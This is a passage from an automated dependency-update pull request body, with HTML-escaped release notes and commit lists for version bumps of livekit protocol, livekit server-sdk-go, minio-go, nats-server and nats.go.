\u003ca href=\"https://github.com/livekit/protocol/blob/main/CHANGELOG.md\"\u003egithub.com/livekit/protocol's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.45.6\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd turn detection protobufs - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1485\"\u003e#1485\u003c/a\u003e (\u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efix change set for eot changes - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1515\"\u003e#1515\u003c/a\u003e (\u003ca href=\"https://github.com/chenghao-mou\"\u003e\u003ccode\u003e@​chenghao-mou\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.5\u003c/h2\u003e\n\u003ch2\u003e1.45.4\u003c/h2\u003e\n\u003ch2\u003e1.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.2\u003c/h2\u003e\n\u003ch2\u003e1.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDropping use of an affinity function in CreateSIPParticipant - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1456\"\u003e#1456\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd PayloadTrailerFeature to TrackInfo and AddTrackRequest - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1438\"\u003e#1438\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded NoRandomness field to individual dispatch rule\u0026quot; - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1426\"\u003e#1426\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eupdate text message protocol for http endpoints - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1407\"\u003e#1407\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdding feature_flags field to InternalTransferSIPParticipantRequest, InternalCreateSIPParticipantRequest, and EvaluateSIPDispatchRulesResponse - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1382\"\u003e#1382\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd numbers field to SIPDispatchRuleInfo for filtering calls by called number - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1351\"\u003e#1351\u003c/a\u003e (\u003ca href=\"https://github.com/civilcoder55\"\u003e\u003ccode\u003e@​civilcoder55\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/livekit/protocol/commits/v1.45.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/server-sdk-go/v2` from 2.13.3 to 2.16.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/81f5cb0c6f984a664b1215fd1da51891968c5790\"\u003e\u003ccode\u003e81f5cb0\u003c/code\u003e\u003c/a\u003e bump version to 2.16.3 (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/893\"\u003e#893\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/71858c92c2ff7343d9e0243a211b2c3b185bb211\"\u003e\u003ccode\u003e71858c9\u003c/code\u003e\u003c/a\u003e Update to latest packet trailer feature format (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/878\"\u003e#878\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/0174de339de0054f5e9cc8adfb71b1f694938b5d\"\u003e\u003ccode\u003e0174de3\u003c/code\u003e\u003c/a\u003e fix(PCMLocalTrack): do not spawn goroutine until track is bound (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/892\"\u003e#892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/a5b9c39dfccf7c7fb3fafe5e518b98b3e28dfb07\"\u003e\u003ccode\u003ea5b9c39\u003c/code\u003e\u003c/a\u003e feat: update msdk, add logger option to PCMRemoteTrack (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/891\"\u003e#891\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/e80807faf25cad6eba03d0b48b6ebb1ed665c8a4\"\u003e\u003ccode\u003ee80807f\u003c/code\u003e\u003c/a\u003e pass environment to cloud-agents API (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/877\"\u003e#877\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/f05dbd00a1c5ebf6ec77ac7f6db4b98de8bd72a0\"\u003e\u003ccode\u003ef05dbd0\u003c/code\u003e\u003c/a\u003e fix: handle data race reported in \u003ca href=\"https://github.com/livekit/server-sdk-go/is\"\u003ehttps://github.com/livekit/server-sdk-go/is\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/fe7af253c41e59a35a97d2ec98ae68e415922688\"\u003e\u003ccode\u003efe7af25\u003c/code\u003e\u003c/a\u003e TEL-522: JoinWithToken accepts a context to be cancelled or timed out early (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/677c01ec5a6dbbe185bd35b0a90a65c41e10eba1\"\u003e\u003ccode\u003e677c01e\u003c/code\u003e\u003c/a\u003e bump version to 2.16.2 (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/885\"\u003e#885\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/e74087ae453e984fe000b7da818dcc77aceaf05f\"\u003e\u003ccode\u003ee74087a\u003c/code\u003e\u003c/a\u003e Update go deps (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/814\"\u003e#814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/a23b81de618a8da34fc5088fd322c0086edb412d\"\u003e\u003ccode\u003ea23b81d\u003c/code\u003e\u003c/a\u003e chore: pin GHA by commit, switch to golangci-lint (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/884\"\u003e#884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/livekit/server-sdk-go/compare/v2.13.3...v2.16.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/minio/minio-go/v7` from 7.0.98 to 7.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/minio/minio-go/releases\"\u003egithub.com/minio/minio-go/v7's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v7.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGetObjectAttributes: Add missing checksum \u0026amp; type by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2217\"\u003eminio/minio-go#2217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003esupport x-minio-source-time header for getobject / statObject by \u003ca href=\"https://github.com/jiuker\"\u003e\u003ccode\u003e@​jiuker\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2219\"\u003eminio/minio-go#2219\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd new AWS checksums by \u003ca href=\"https://github.com/klauspost\"\u003e\u003ccode\u003e@​klauspost\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/minio/minio-go/pull/2221\"\u003eminio/minio-go#2221\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\"\u003ehttps://github.com/minio/minio-go/compare/v7.0.100...v7.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/f29e5687f3234ca088afedc03f4096ea50d4e10b\"\u003e\u003ccode\u003ef29e568\u003c/code\u003e\u003c/a\u003e Add new AWS checksums (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2221\"\u003e#2221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/68e87b1d1e3135495a6e6faed9d40171230c5883\"\u003e\u003ccode\u003e68e87b1\u003c/code\u003e\u003c/a\u003e support x-minio-source-time header for getobject / statObject (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2219\"\u003e#2219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d457cd49a467706fa4789028f0594853f8702523\"\u003e\u003ccode\u003ed457cd4\u003c/code\u003e\u003c/a\u003e GetObjectAttributes: Add missing checksum \u0026amp; type (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2217\"\u003e#2217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/570a610f8e0206d0bcbd00d521fa9da210f26a1d\"\u003e\u003ccode\u003e570a610\u003c/code\u003e\u003c/a\u003e Add ChecksumAlgorithm to list response (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2211\"\u003e#2211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/9ab4afb052fcdbfa8491336c81e1ffca3772e2ff\"\u003e\u003ccode\u003e9ab4afb\u003c/code\u003e\u003c/a\u003e Update signature of UpdateObjectEncryption (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2215\"\u003e#2215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/30849ad849102d5ea8d18b6ee93127607f46c616\"\u003e\u003ccode\u003e30849ad\u003c/code\u003e\u003c/a\u003e fix: honor StartAfter when listing object versions (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2212\"\u003e#2212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/2eacfe97024cf441b51220f439a7dd1651be9cce\"\u003e\u003ccode\u003e2eacfe9\u003c/code\u003e\u003c/a\u003e add SignV4WithServiceType function (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2214\"\u003e#2214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/dedfa39141e1eb0a0687a2c44a4dab7b6a9deefa\"\u003e\u003ccode\u003ededfa39\u003c/code\u003e\u003c/a\u003e tags: add MarshalJSON/UnmarshalJSON to Tags\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/4976cb36eae896a871612c1c93782a13aa64f8a9\"\u003e\u003ccode\u003e4976cb3\u003c/code\u003e\u003c/a\u003e get content encoding when available (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2208\"\u003e#2208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d75e965f5fca625630ca287613d82b61726cd98c\"\u003e\u003ccode\u003ed75e965\u003c/code\u003e\u003c/a\u003e add S3 Outposts support: Implement request signing and endpoint validation fo...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.98...v7.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.14.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFeature flags in the server configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7866\"\u003e#7866\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-53.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFast-ingest batch publishing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7778\"\u003e#7778\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7892\"\u003e#7892\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7894\"\u003e#7894\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7945\"\u003e#7945\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows high-speed publishing of message batches into the server when using a supported client\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-50.md#fast-ingest-batch-publishing\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eRepeating \u0026amp; cron-based message schedules (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7504\"\u003e#7504\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7687\"\u003e#7687\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7688\"\u003e#7688\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule\u003c/code\u003e header can now be configured on a repeating basis, i.e. \u003ccode\u003e@every 5m\u003c/code\u003e, \u003ccode\u003e@hourly\u003c/code\u003e or using crontab-like syntax\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject sampling (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7506\"\u003e#7506\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Source\u003c/code\u003e header allows sampling the contents of the last message in the stream for a given subject, allowing sampling of values at a different rate to the original publisher\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md#subject-sampling\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eScheduled subject rollups (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7559\"\u003e#7559\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eNats-Schedule-Rollup\u003c/code\u003e header allows initiating a rollup of the \u003ccode\u003eNats-Schedule-Target\u003c/code\u003e subject on a scheduled basis\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-51.md\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eConsumer reset API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.49.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca 